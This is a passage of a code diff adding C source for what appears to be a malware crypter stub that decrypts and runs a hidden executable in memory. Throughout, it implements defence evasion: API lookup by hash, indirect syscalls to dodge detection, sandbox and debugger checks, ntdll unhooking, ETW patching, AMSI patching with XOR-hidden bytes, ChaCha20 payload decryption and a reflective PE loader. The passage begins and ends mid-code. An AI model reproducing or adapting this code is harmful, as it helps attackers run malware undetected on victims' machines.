exp->AddressOfNames); + LPWORD ordinals = (LPWORD)(base + exp->AddressOfNameOrdinals); + LPDWORD funcs = (LPDWORD)(base + exp->AddressOfFunctions); + + for (DWORD i = 0; i < exp->NumberOfNames; i++) { + DWORD h = StubHash((const char *)(base + names[i])); + if (h == functionHash) { + return base + funcs[ordinals[i]]; + } + } + return NULL; +} + +/* Function pointer typedefs */ +typedef HMODULE (WINAPI *fn_LoadLibraryA)(LPCSTR); +typedef FARPROC (WINAPI *fn_GetProcAddress)(HMODULE, LPCSTR); +typedef LPVOID (WINAPI *fn_VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD); +typedef BOOL (WINAPI *fn_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD); +typedef BOOL (WINAPI *fn_VirtualFree)(LPVOID, SIZE_T, DWORD); +typedef HMODULE (WINAPI *fn_GetModuleHandleA)(LPCSTR); +typedef HANDLE (WINAPI *fn_CreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); +typedef BOOL (WINAPI *fn_ReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); +typedef DWORD (WINAPI *fn_GetFileSize)(HANDLE, LPDWORD); +typedef BOOL (WINAPI *fn_CloseHandle)(HANDLE); +typedef void (WINAPI *fn_GetSystemInfo)(LPSYSTEM_INFO); +typedef BOOL (WINAPI *fn_GlobalMemoryStatusEx)(LPMEMORYSTATUSEX); +typedef BOOL (WINAPI *fn_GetDiskFreeSpaceExA)(LPCSTR, PULARGE_INTEGER, PULARGE_INTEGER, PULARGE_INTEGER); +typedef void (WINAPI *fn_Sleep)(DWORD); +typedef ULONGLONG (WINAPI *fn_GetTickCount64)(void); +typedef HANDLE (WINAPI *fn_FindFirstFileA)(LPCSTR, LPWIN32_FIND_DATAA); +typedef BOOL (WINAPI *fn_FindNextFileA)(HANDLE, LPWIN32_FIND_DATAA); +typedef BOOL (WINAPI *fn_FindClose)(HANDLE); +typedef DWORD (WINAPI *fn_GetEnvironmentVariableA)(LPCSTR, LPSTR, DWORD); +typedef BOOL (WINAPI *fn_FlushInstructionCache)(HANDLE, LPCVOID, SIZE_T); +typedef void (WINAPI *fn_ExitProcess)(UINT); +typedef BOOL (WINAPI *fn_WriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); +typedef DWORD (WINAPI *fn_GetTempPathA)(DWORD, LPSTR); + +/* ====================================================================== + * Diagnostic logging (enabled with -DSTUB_DEBUG) + * Writes step-by-step progress to %TEMP%\zerin_diag.log + * ====================================================================== */ + +#ifdef STUB_DEBUG +static HANDLE g_diag_file = (HANDLE)-1; +static fn_WriteFile g_pWriteFile = NULL; + +static void DiagInit(void) { + fn_CreateFileA pCreateFileA = + (fn_CreateFileA)StubGetProcAddress(FH_KERNEL32, FH_CreateFileA); + g_pWriteFile = + (fn_WriteFile)StubGetProcAddress(FH_KERNEL32, FH_WriteFile); + if (!pCreateFileA || !g_pWriteFile) return; + + /* Build path: %TEMP%\zerin_diag.log */ + char path[MAX_PATH]; + DWORD len = 0; + fn_GetEnvironmentVariableA pGetEnv = + (fn_GetEnvironmentVariableA)StubGetProcAddress(FH_KERNEL32, FH_GetEnvironmentVariableA); + if (pGetEnv) { + char tmp[] = {'T','E','M','P',0}; + len = pGetEnv(tmp, path, MAX_PATH - 30); + } + if (len == 0 || len >= MAX_PATH - 30) { + path[0] = 'C'; path[1] = ':'; path[2] = '\\'; len = 3; + } + const char suffix[] = "\\zerin_diag.log"; + for (int i = 0; suffix[i]; i++) path[len++] = suffix[i]; + path[len] = 0; + + g_diag_file = pCreateFileA(path, 0x40000000/*GENERIC_WRITE*/, 1/*FILE_SHARE_READ*/, + NULL, 2/*CREATE_ALWAYS*/, 0x80/*FILE_ATTRIBUTE_NORMAL*/, NULL); +} + +static void DiagLog(const char *msg) { + if (g_diag_file == (HANDLE)-1 || !g_pWriteFile) return; + DWORD written; + int len = 0; + while (msg[len]) len++; + g_pWriteFile(g_diag_file, msg, (DWORD)len, &written, NULL); +} + +static void DiagLogHex(const char *prefix, uint32_t val) { + char buf[80]; + int i = 0; + while (prefix[i] && i < 60) { buf[i] = prefix[i]; i++; } + const char hex[] = "0123456789ABCDEF"; + buf[i++] = '0'; buf[i++] = 'x'; + for (int j = 28; j >= 0; j -= 4) buf[i++] = hex[(val >> j) & 0xF]; + buf[i++] = '\r'; buf[i++] = '\n'; + buf[i] = 0; + DiagLog(buf); +} + +static void DiagClose(void) { + if (g_diag_file != (HANDLE)-1) { + fn_CloseHandle pClose = + (fn_CloseHandle)StubGetProcAddress(FH_KERNEL32, FH_CloseHandle); + if (pClose) pClose(g_diag_file); + g_diag_file = (HANDLE)-1; + } +} +#else +#define DiagInit() +#define DiagLog(msg) +#define DiagLogHex(prefix, val) +#define DiagClose() +#endif + +/* NT indirect syscall prototypes (naked ASM — defined after InitSyscalls) */ +NTSTATUS IndirectNtAllocateVirtualMemory(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG); +NTSTATUS IndirectNtProtectVirtualMemory(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG); +NTSTATUS IndirectNtFreeVirtualMemory(HANDLE, PVOID*, PSIZE_T, ULONG); +NTSTATUS IndirectNtFlushInstructionCache(HANDLE, PVOID, SIZE_T); + +/* ====================================================================== + * Indirect syscall infrastructure + * + * Extract SSN from ntdll function prologue: + * mov r10, rcx → 4C 8B D1 + * mov eax, SSN → B8 xx xx 00 00 + * Then find a `syscall; ret` gadget in ntdll's .text for execution. + * ====================================================================== */ + +/* Flat globals for indirect syscall dispatch. + * NOT static — naked function inline ASM needs external linkage for + * RIP-relative addressing on GCC 15.x */ +DWORD stub_ssn_NtAllocate; +DWORD stub_ssn_NtProtect; +DWORD stub_ssn_NtFree; +DWORD stub_ssn_NtFlush; +PVOID stub_gadget_addr; /* Single `syscall; ret` gadget in ntdll */ + +/* ExtractSSN — provided by stub_poly_metamorphic.h (per-build pattern mutation) */ + +/* FindSyscallGadget — provided by stub_poly_metamorphic.h (per-build scan mutation) */ + +static int InitSyscalls(LPBYTE ntdllBase) { + PVOID gadget = FindSyscallGadget(ntdllBase); + if (!gadget) return -1; + + stub_gadget_addr = gadget; + + /* Find exports by hash */ + LPBYTE pAlloc = (LPBYTE)StubGetProcAddress(FH_NTDLL, FH_NtAllocateVirtualMemory); + LPBYTE pProtect = (LPBYTE)StubGetProcAddress(FH_NTDLL, FH_NtProtectVirtualMemory); + LPBYTE pFree = (LPBYTE)StubGetProcAddress(FH_NTDLL, FH_NtFreeVirtualMemory); + LPBYTE pFlush = (LPBYTE)StubGetProcAddress(FH_NTDLL, FH_NtFlushInstructionCache); + + if (!pAlloc || !pProtect || !pFree) return -1; + + stub_ssn_NtAllocate = ExtractSSN(pAlloc); + stub_ssn_NtProtect = ExtractSSN(pProtect); + stub_ssn_NtFree = ExtractSSN(pFree); + + if (pFlush) + stub_ssn_NtFlush = ExtractSSN(pFlush); + + if (stub_ssn_NtAllocate == (DWORD)-1 || stub_ssn_NtProtect == (DWORD)-1 || + stub_ssn_NtFree == (DWORD)-1) return -1; + + return 0; +} + +/* + * Indirect syscall wrappers using naked ASM. + * mov r10, rcx — NT calling convention (rcx → r10) + * mov eax, SSN — syscall service number + * jmp [gadget] — jump to `syscall; ret` in ntdll's .text + * + * The `syscall` instruction executes from ntdll's memory range, + * bypassing "syscall from non-ntdll" detections. + */ +__attribute__((naked)) NTSTATUS IndirectNtAllocateVirtualMemory( + HANDLE process, PVOID *base, ULONG_PTR zeroBits, + PSIZE_T size, ULONG allocType, ULONG protect) +{ + __asm__ volatile ( + ".intel_syntax noprefix\n\t" + "mov r10, rcx\n\t" + "mov eax, dword ptr [rip + stub_ssn_NtAllocate]\n\t" + "jmp qword ptr [rip + stub_gadget_addr]\n\t" + ".att_syntax prefix\n\t" + ); +} + +__attribute__((naked)) NTSTATUS IndirectNtProtectVirtualMemory( + HANDLE process, PVOID *base, PSIZE_T size, ULONG newProt, PULONG oldProt) +{ + __asm__ volatile ( + ".intel_syntax noprefix\n\t" + "mov r10, rcx\n\t" + "mov eax, dword ptr [rip + stub_ssn_NtProtect]\n\t" + "jmp qword ptr [rip + stub_gadget_addr]\n\t" + ".att_syntax prefix\n\t" + ); +} + +__attribute__((naked)) NTSTATUS IndirectNtFreeVirtualMemory( + HANDLE process, PVOID *base, PSIZE_T size, ULONG freeType) +{ + __asm__ volatile ( + ".intel_syntax noprefix\n\t" + "mov r10, rcx\n\t" + "mov eax, dword ptr [rip + stub_ssn_NtFree]\n\t" + "jmp qword ptr [rip + stub_gadget_addr]\n\t" + ".att_syntax prefix\n\t" + ); +} + +__attribute__((naked)) NTSTATUS IndirectNtFlushInstructionCache( + HANDLE process, PVOID base, SIZE_T size) +{ + __asm__ volatile ( + ".intel_syntax noprefix\n\t" + "mov r10, rcx\n\t" + "mov eax, dword ptr [rip + stub_ssn_NtFlush]\n\t" + "jmp qword ptr [rip + stub_gadget_addr]\n\t" + ".att_syntax prefix\n\t" + ); +} + +/* ====================================================================== + * Entropy-flattening keystream (deterministic from seed) + * + * The crypter generates a random seed, derives a pad via LCG, XORs + * the ciphertext with the pad to reduce entropy from ~8.0 to ~5.5 + * bits/byte. The seed is stored in .gfids so we can regenerate the + * same pad here to reverse the flattening. + * ====================================================================== */ + +#define ENTROPY_PAD_SIZE 4096 + +/* generate_entropy_pad — provided by stub_poly_metamorphic.h (per-build LCG params) */ + +/* ====================================================================== + * Layer 1: Sandbox Detection + * ====================================================================== */ + +static int SandboxCheck(void) { + int failures = 0; + + fn_GetSystemInfo pGetSystemInfo = + (fn_GetSystemInfo)StubGetProcAddress(FH_KERNEL32, FH_GetSystemInfo); + fn_GlobalMemoryStatusEx pGlobalMemoryStatusEx = + (fn_GlobalMemoryStatusEx)StubGetProcAddress(FH_KERNEL32, FH_GlobalMemoryStatusEx); + fn_Sleep pSleep = + (fn_Sleep)StubGetProcAddress(FH_KERNEL32, FH_Sleep); + fn_GetTickCount64 pGetTickCount64 = + (fn_GetTickCount64)StubGetProcAddress(FH_KERNEL32, FH_GetTickCount64); + fn_GetDiskFreeSpaceExA pGetDiskFreeSpaceExA = + (fn_GetDiskFreeSpaceExA)StubGetProcAddress(FH_KERNEL32, FH_GetDiskFreeSpaceExA); + fn_FindFirstFileA pFindFirstFileA = + (fn_FindFirstFileA)StubGetProcAddress(FH_KERNEL32, FH_FindFirstFileA); + fn_FindNextFileA pFindNextFileA = + (fn_FindNextFileA)StubGetProcAddress(FH_KERNEL32, FH_FindNextFileA); + fn_FindClose pFindClose = + (fn_FindClose)StubGetProcAddress(FH_KERNEL32, FH_FindClose); + fn_GetEnvironmentVariableA pGetEnv = + (fn_GetEnvironmentVariableA)StubGetProcAddress(FH_KERNEL32, FH_GetEnvironmentVariableA); + + /* Check 1: CPU count < threshold */ + if (pGetSystemInfo) { + SYSTEM_INFO si; + pGetSystemInfo(&si); + DiagLogHex("SB: cpus=", si.dwNumberOfProcessors); + DiagLogHex("SB: min_cpu=", SB_MIN_CPU); + if (si.dwNumberOfProcessors < SB_MIN_CPU) failures++; + } + + /* Check 2: RAM < threshold */ + if (pGlobalMemoryStatusEx) { + MEMORYSTATUSEX ms; + ms.dwLength = sizeof(ms); + if (pGlobalMemoryStatusEx(&ms)) { + DiagLogHex("SB: ram_gb=", (uint32_t)(ms.ullTotalPhys / (1024*1024*1024))); + DiagLogHex("SB: min_ram=", SB_MIN_RAM_GB); + if (ms.ullTotalPhys < ((unsigned long long)SB_MIN_RAM_GB * 1024 * 1024 * 1024)) failures++; + } + } + + /* Check 3: Sleep acceleration (sandbox fast-forwards Sleep calls) */ + if (pSleep && pGetTickCount64) { + ULONGLONG t1 = pGetTickCount64(); + pSleep(SB_SLEEP_MS); + ULONGLONG t2 = pGetTickCount64(); + DiagLogHex("SB: sleep_delta=", (uint32_t)(t2 - t1)); + DiagLogHex("SB: sleep_min=", SB_SLEEP_MIN_MS); + if ((t2 - t1) < SB_SLEEP_MIN_MS) failures++; + } + + /* Check 4: Disk < threshold */ + if (pGetDiskFreeSpaceExA) { + ULARGE_INTEGER totalBytes; + char drive[] = { 'C', ':', '\\', 0 }; + if (pGetDiskFreeSpaceExA(drive, NULL, &totalBytes, NULL)) { + DiagLogHex("SB: disk_gb=", (uint32_t)(totalBytes.QuadPart / (1024*1024*1024))); + DiagLogHex("SB: min_disk=", SB_MIN_DISK_GB); + if (totalBytes.QuadPart < ((unsigned long long)SB_MIN_DISK_GB * 1024 * 1024 * 1024)) failures++; + } + } + + /* Check 5: Recent files < threshold */ + if (pFindFirstFileA && pFindNextFileA && pFindClose && pGetEnv) { + char recentPath[MAX_PATH]; + DWORD len = pGetEnv("USERPROFILE", recentPath, MAX_PATH - 30); + if (len > 0 && len < MAX_PATH - 30) { + char *p = recentPath + len; + const char suffix[] = "\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*"; + for (int i = 0; suffix[i]; i++) *p++ = suffix[i]; + *p = 0; + + WIN32_FIND_DATAA fd; + HANDLE hFind = pFindFirstFileA(recentPath, &fd); + if (hFind != INVALID_HANDLE_VALUE) { + int count = 0; + do { count++; } while (count < (SB_MIN_RECENT + 5) && pFindNextFileA(hFind, &fd)); + pFindClose(hFind); + DiagLogHex("SB: recent_files=", (uint32_t)count); + DiagLogHex("SB: min_recent=", SB_MIN_RECENT); + if (count < SB_MIN_RECENT) failures++; + } else { + DiagLog("SB: recent dir not found\r\n"); + failures++; + } + } + } + + /* Check 6: PEB.BeingDebugged (direct read, no API call) */ + DiagLogHex("SB: BeingDebugged=", (uint32_t)GetPeb()->BeingDebugged); + if (GetPeb()->BeingDebugged) failures++; + + DiagLogHex("SB: total_failures=", (uint32_t)failures); + /* If 3+ checks fail, assume sandbox (2 is too aggressive for dev/VM) */ + return (failures >= 3) ? 1 : 0; +} + +/* ====================================================================== + * Layer 2: Ntdll Unhooking + * ====================================================================== */ + +static int UnhookNtdll(void) { + fn_CreateFileA pCreateFileA = + (fn_CreateFileA)StubGetProcAddress(FH_KERNEL32, FH_CreateFileA); + fn_ReadFile pReadFile = + (fn_ReadFile)StubGetProcAddress(FH_KERNEL32, FH_ReadFile); + fn_GetFileSize pGetFileSize = + (fn_GetFileSize)StubGetProcAddress(FH_KERNEL32, FH_GetFileSize); + fn_CloseHandle pCloseHandle = + (fn_CloseHandle)StubGetProcAddress(FH_KERNEL32, FH_CloseHandle); + fn_VirtualAlloc pVirtualAlloc = + (fn_VirtualAlloc)StubGetProcAddress(FH_KERNEL32, FH_VirtualAlloc); + fn_VirtualProtect pVirtualProtect = + (fn_VirtualProtect)StubGetProcAddress(FH_KERNEL32, FH_VirtualProtect); + fn_VirtualFree pVirtualFree = + (fn_VirtualFree)StubGetProcAddress(FH_KERNEL32, FH_VirtualFree); + + if (!pCreateFileA || !pReadFile || !pGetFileSize || !pCloseHandle || + !pVirtualAlloc || !pVirtualProtect || !pVirtualFree) return -1; + + /* Build path "C:\Windows\System32\ntdll.dll" on stack */ + char ntdllPath[] = { 'C',':','\\','W','i','n','d','o','w','s','\\', + 'S','y','s','t','e','m','3','2','\\', + 'n','t','d','l','l','.','d','l','l', 0 }; + + HANDLE hFile = pCreateFileA(ntdllPath, GENERIC_READ, FILE_SHARE_READ, + NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) return -1; + + DWORD fileSize = pGetFileSize(hFile, NULL); + if (fileSize == INVALID_FILE_SIZE || fileSize == 0) { + pCloseHandle(hFile); + return -1; + } + + LPBYTE fileBuffer = (LPBYTE)pVirtualAlloc(NULL, fileSize, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!fileBuffer) { pCloseHandle(hFile); return -1; } + + DWORD bytesRead = 0; + if (!pReadFile(hFile, fileBuffer, fileSize, &bytesRead, NULL) || bytesRead != fileSize) { + pVirtualFree(fileBuffer, 0, MEM_RELEASE); + pCloseHandle(hFile); + return -1; + } + pCloseHandle(hFile); + + /* Validate PE */ + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)fileBuffer; + if (dos->e_magic != IMAGE_DOS_SIGNATURE) { + pVirtualFree(fileBuffer, 0, MEM_RELEASE); + return -1; + } + + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(fileBuffer + dos->e_lfanew); + if (nt->Signature != IMAGE_NT_SIGNATURE) { + pVirtualFree(fileBuffer, 0, MEM_RELEASE); + return -1; + } + + /* Get in-memory ntdll base */ + LPBYTE ntdllBase = (LPBYTE)StubGetModuleHandle(FH_NTDLL); + if (!ntdllBase) { pVirtualFree(fileBuffer, 0, MEM_RELEASE); return -1; } + + int result = -1; + PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt); + for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) { + if (sec[i].Name[0] == '.' && sec[i].Name[1] == 't' && + sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' && + sec[i].Name[4] == 't') { + + LPVOID textAddr = ntdllBase + sec[i].VirtualAddress; + SIZE_T textSize = sec[i].SizeOfRawData; + + if (sec[i].PointerToRawData + textSize > fileSize) break; + + DWORD oldProtect; + if (pVirtualProtect(textAddr, textSize, PAGE_EXECUTE_READWRITE, &oldProtect)) { + /* Byte-by-byte copy (no memcpy import needed) */ + LPBYTE src = fileBuffer + sec[i].PointerToRawData; + LPBYTE dst = (LPBYTE)textAddr; + for (SIZE_T j = 0; j < textSize; j++) dst[j] = src[j]; + pVirtualProtect(textAddr, textSize, oldProtect, &oldProtect); + result = 0; + } + break; + } + } + + pVirtualFree(fileBuffer, 0, MEM_RELEASE); + return result; +} + +/* ====================================================================== + * Layer 3: ETW Patching + * ====================================================================== */ + +static void PatchETW(void) { + fn_VirtualProtect pVirtualProtect = + (fn_VirtualProtect)StubGetProcAddress(FH_KERNEL32, FH_VirtualProtect); + if (!pVirtualProtect) return; + + LPBYTE pEtwEventWrite = (LPBYTE)StubGetProcAddress(FH_NTDLL, FH_EtwEventWrite); + if (!pEtwEventWrite) return; + + DWORD old; + if (pVirtualProtect(pEtwEventWrite, STUB_ETW_PATCH_SIZE, PAGE_EXECUTE_READWRITE, &old)) { + for (int i = 0; i < STUB_ETW_PATCH_SIZE; i++) + pEtwEventWrite[i] = STUB_ETW_PATCH[i]; + pVirtualProtect(pEtwEventWrite, STUB_ETW_PATCH_SIZE, old, &old); + } +} + +/* ====================================================================== + * Layer 3b: AMSI Patching + * + * Patches AmsiOpenSession to return E_FAIL, silently killing all AMSI + * scans. Uses stack-built strings and XOR-decoded patch bytes to avoid + * static signatures. Resolves LoadLibraryA/GetProcAddress/VirtualProtect + * via PEB hash (no IAT imports). + * ====================================================================== */ + +static void PatchAMSI(void) { + fn_LoadLibraryA pLoadLibraryA = + (fn_LoadLibraryA)StubGetProcAddress(FH_KERNEL32, FH_LoadLibraryA); + fn_VirtualProtect pVirtualProtect = + (fn_VirtualProtect)StubGetProcAddress(FH_KERNEL32, FH_VirtualProtect); + if (!pLoadLibraryA || !pVirtualProtect) return; + + /* Build "amsi.dll" as stack char array (no .rdata literal) */ + char amsi_dll[] = { 'a','m','s','i','.','d','l','l', 0 }; + HMODULE hAmsi = pLoadLibraryA(amsi_dll); + SecureZeroMemory(amsi_dll, sizeof(amsi_dll)); + if (!hAmsi) return; /* AMSI not present */ + + /* Resolve AmsiOpenSession from amsi.dll export table via polymorphic hash */ + LPBYTE pFunc = NULL; + { + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hAmsi; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((LPBYTE)hAmsi + dos->e_lfanew); + if (nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) + return; + PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)( + (LPBYTE)hAmsi + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + LPDWORD names = (LPDWORD)((LPBYTE)hAmsi + exp->AddressOfNames); + LPWORD ordinals = (LPWORD)((LPBYTE)hAmsi + exp->AddressOfNameOrdinals); + LPDWORD funcs = (LPDWORD)((LPBYTE)hAmsi + exp->AddressOfFunctions); + for (DWORD i = 0; i < exp->NumberOfNames; i++) { + DWORD h = StubHash((const char *)((LPBYTE)hAmsi + names[i])); + if (h == FH_AmsiOpenSession) { + pFunc = (LPBYTE)hAmsi + funcs[ordinals[i]]; + break; + } + } + } + if (!pFunc) return; + + DWORD oldProtect; + if (!pVirtualProtect(pFunc, 8, PAGE_EXECUTE_READWRITE, &oldProtect)) + return; + + /* + * XOR-decode patch bytes (key 0x55): + * 48 31 C0 xor rax, rax + * 48 FF C8 dec rax + * C3 ret + * AmsiOpenSession returns -1 (E_FAIL), killing all AMSI scans. + */ + unsigned char enc[] = { 0x1D, 0x64, 0x95, 0x1D, 0xAA, 0x9D, 0x96 }; + for (int i = 0; i < 7; i++) + pFunc[i] = enc[i] ^ 0x55; + + pVirtualProtect(pFunc, 8, oldProtect, &oldProtect); + SecureZeroMemory(enc, sizeof(enc)); +} + +/* ====================================================================== + * ChaCha20 decryption (pure, no imports) + * ====================================================================== */ + +/* ROTL32, QR, load_le32, chacha20_decrypt — provided by stub_poly_metamorphic.h + * (per-build unroll depth, rotation style, and load pattern mutation) */ + +/* ====================================================================== + * Relocation helper + * ====================================================================== */ + +typedef struct _IMAGE_RELOC_ENTRY { + WORD offset : 12; + WORD type : 4; +} IMAGE_RELOC_ENTRY; + +/* ====================================================================== + * Section characteristics to protection flags + * ====================================================================== */ + +/* SectionToProtection — provided by stub_poly_metamorphic.h (per-build structure mutation) */ + +/* ====================================================================== + * Layer 6: PE Memory Loader (adapted from reflective.c for EXEs) + * + * Uses indirect syscalls (NtAllocateVirtualMemory, NtProtectVirtualMemory) + * instead of VirtualAlloc/VirtualProtect to avoid IAT detection. + * ====================================================================== */ + +static int LoadPE(uint8_t *pe_data, size_t pe_size) { + DiagLog("LOADPE: enter\r\n"); + /* Resolve LoadLibraryA and GetProcAddress via PEB (needed for imports) */ + fn_LoadLibraryA pLoadLibraryA = + (fn_LoadLibraryA)StubGetProcAddress(FH_KERNEL32, FH_LoadLibraryA); + fn_GetProcAddress pGetProcAddress = + (fn_GetProcAddress)StubGetProcAddress(FH_KERNEL32, FH_GetProcAddress); + + if (!pLoadLibraryA || !pGetProcAddress) { + DiagLog("LOADPE: FAIL resolve LLA/GPA\r\n"); + return -1; + } + + /* Validate DOS header */ + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pe_data; + if (pe_size < sizeof(IMAGE_DOS_HEADER) || dos->e_magic != IMAGE_DOS_SIGNATURE) { + DiagLog("LOADPE: FAIL DOS header\r\n"); + return -2; + } + if ((DWORD)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > pe_size) { + DiagLog("LOADPE: FAIL e_lfanew OOB\r\n"); + return -3; + } + + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pe_data + dos->e_lfanew); + if (nt->Signature != IMAGE_NT_SIGNATURE) { + DiagLog("LOADPE: FAIL NT sig\r\n"); + return -4; + } + + PIMAGE_OPTIONAL_HEADER opt = &nt->OptionalHeader; + if (opt->SizeOfImage == 0) { + DiagLog("LOADPE: FAIL SizeOfImage 0\r\n"); + return -5; + } + DiagLogHex("LOADPE: SizeOfImage=", opt->SizeOfImage); + DiagLogHex("LOADPE: ImageBase=", (uint32_t)opt->ImageBase); + + /* Allocate via indirect syscall */ + PVOID imageBase = (PVOID)opt->ImageBase; + SIZE_T imageSize = opt->SizeOfImage; + NTSTATUS status = IndirectNtAllocateVirtualMemory( + (HANDLE)-1, &imageBase, 0, &imageSize, + MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + + if (status != 0) { + imageBase = NULL; + imageSize = opt->SizeOfImage; + status = IndirectNtAllocateVirtualMemory( + (HANDLE)-1, &imageBase, 0, &imageSize, + MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + } + if (status != 0 || !imageBase) { + DiagLogHex("LOADPE: FAIL NtAlloc image status=", (uint32_t)status); + return -6; + } + + LPBYTE base = (LPBYTE)imageBase; + DiagLogHex("LOADPE: mapped at=", (uint32_t)(uintptr_t)base); + + /* Copy headers (byte-by-byte, no memcpy import) */ + for (DWORD i = 0; i < opt->SizeOfHeaders; i++) + base[i] = pe_data[i]; + + /* Map sections */ + PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(nt); + WORD numSections = nt->FileHeader.NumberOfSections; + + for (WORD i = 0; i < numSections; i++) { + if (sections[i].SizeOfRawData == 0) continue; + LPBYTE dst = base + sections[i].VirtualAddress; + LPBYTE src = pe_data + sections[i].PointerToRawData; + for (DWORD j = 0; j < sections[i].SizeOfRawData; j++) + dst[j] = src[j]; + } + + /* Process relocations */ + DiagLog("LOADPE: sections mapped\r\n"); + ULONGLONG delta = (ULONGLONG)base - (ULONGLONG)opt->ImageBase; + if (delta != 0 && opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size > 0) { + PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)( + base + opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); + + while (reloc->VirtualAddress > 0) { + LPBYTE page = base + reloc->VirtualAddress; + DWORD count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC_ENTRY); + IMAGE_RELOC_ENTRY *entries = (IMAGE_RELOC_ENTRY *)((LPBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION)); + + for (DWORD i = 0; i < count; i++) { + if (entries[i].type == IMAGE_REL_BASED_DIR64) + *(ULONGLONG *)(page + entries[i].offset) += delta; + else if (entries[i].type == IMAGE_REL_BASED_HIGHLOW) + *(DWORD *)(page + entries[i].offset) += (DWORD)delta; + else if (entries[i].type == IMAGE_REL_BASED_HIGH) + *(WORD *)(page + entries[i].offset) += HIWORD(delta); + else if (entries[i].type == IMAGE_REL_BASED_LOW) + *(WORD *)(page + entries[i].offset) += LOWORD(delta); + } + reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock); + } + } + + /* Resolve imports */ + DiagLog("LOADPE: relocs done\r\n"); + if (opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size > 0) { + PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)( + base + opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); + + while (imp->Name) { + LPCSTR modName = (LPCSTR)(base + imp->Name); + HMODULE hMod = pLoadLibraryA(modName); + + if (!hMod) { + DiagLog("LOADPE: FAIL import DLL: "); + DiagLog(modName); + DiagLog("\r\n"); + return -7; /* DLL not found */ + } + + { + PIMAGE_THUNK_DATA origThunk; + PIMAGE_THUNK_DATA boundThunk; + + if (imp->OriginalFirstThunk) + origThunk = (PIMAGE_THUNK_DATA)(base + imp->OriginalFirstThunk); + else + origThunk = (PIMAGE_THUNK_DATA)(base + imp->FirstThunk); + boundThunk = (PIMAGE_THUNK_DATA)(base + imp->FirstThunk); + + while (origThunk->u1.AddressOfData) { +#ifdef _WIN64 + if (origThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) { + LPCSTR ordinal = (LPCSTR)(origThunk->u1.Ordinal & 0xFFFF); +#else + if (origThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32) { + LPCSTR ordinal = (LPCSTR)(origThunk->u1.Ordinal & 0xFFFF); +#endif + boundThunk->u1.Function = (ULONG_PTR)pGetProcAddress(hMod, ordinal); + } else { + PIMAGE_IMPORT_BY_NAME byName = (PIMAGE_IMPORT_BY_NAME)( + base + origThunk->u1.AddressOfData); + boundThunk->u1.Function = (ULONG_PTR)pGetProcAddress( + hMod, (LPCSTR)byName->Name); + } + if (!boundThunk->u1.Function) { + DiagLog("LOADPE: FAIL import func in "); + DiagLog(modName); + DiagLog("\r\n"); + return -8; /* Function not found */ + } + origThunk++; + boundThunk++; + } + } + imp++; + } + } + + DiagLog("LOADPE: imports resolved\r\n"); + /* Update ImageBase in mapped headers */ + { + PIMAGE_NT_HEADERS mappedNt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew); + mappedNt->OptionalHeader.ImageBase = (ULONG_PTR)base; + } + + /* Update PEB.ImageBaseAddress so GetModuleHandle(NULL) returns the right value */ + GetPeb()->ImageBaseAddress = base; + + /* Set section memory protections via indirect syscalls */ + for (WORD i = 0; i < numSections; i++) { + DWORD size = sections[i].Misc.VirtualSize; + if (size == 0) size = sections[i].SizeOfRawData; + if (size == 0) continue; + + DWORD prot = SectionToProtection(sections[i].Characteristics); + if (sections[i].Characteristics & IMAGE_SCN_MEM_NOT_CACHED) + prot |= PAGE_NOCACHE; + + PVOID secAddr = base + sections[i].VirtualAddress; + SIZE_T secSize = size; + ULONG oldProt; + IndirectNtProtectVirtualMemory((HANDLE)-1, &secAddr, &secSize, prot, &oldProt); + } + + /* Protect headers as read-only */ + { + PVOID hdrAddr = base; + SIZE_T hdrSize = opt->SizeOfHeaders; + ULONG oldProt; + IndirectNtProtectVirtualMemory((HANDLE)-1, &hdrAddr, &hdrSize, PAGE_READONLY, &oldProt); + } + + /* Flush instruction cache */ + IndirectNtFlushInstructionCache((HANDLE)-1, NULL, 0); + + /* Register x64 exception handlers (.pdata) so SEH works in loaded PE */ +#ifdef _WIN64 + if 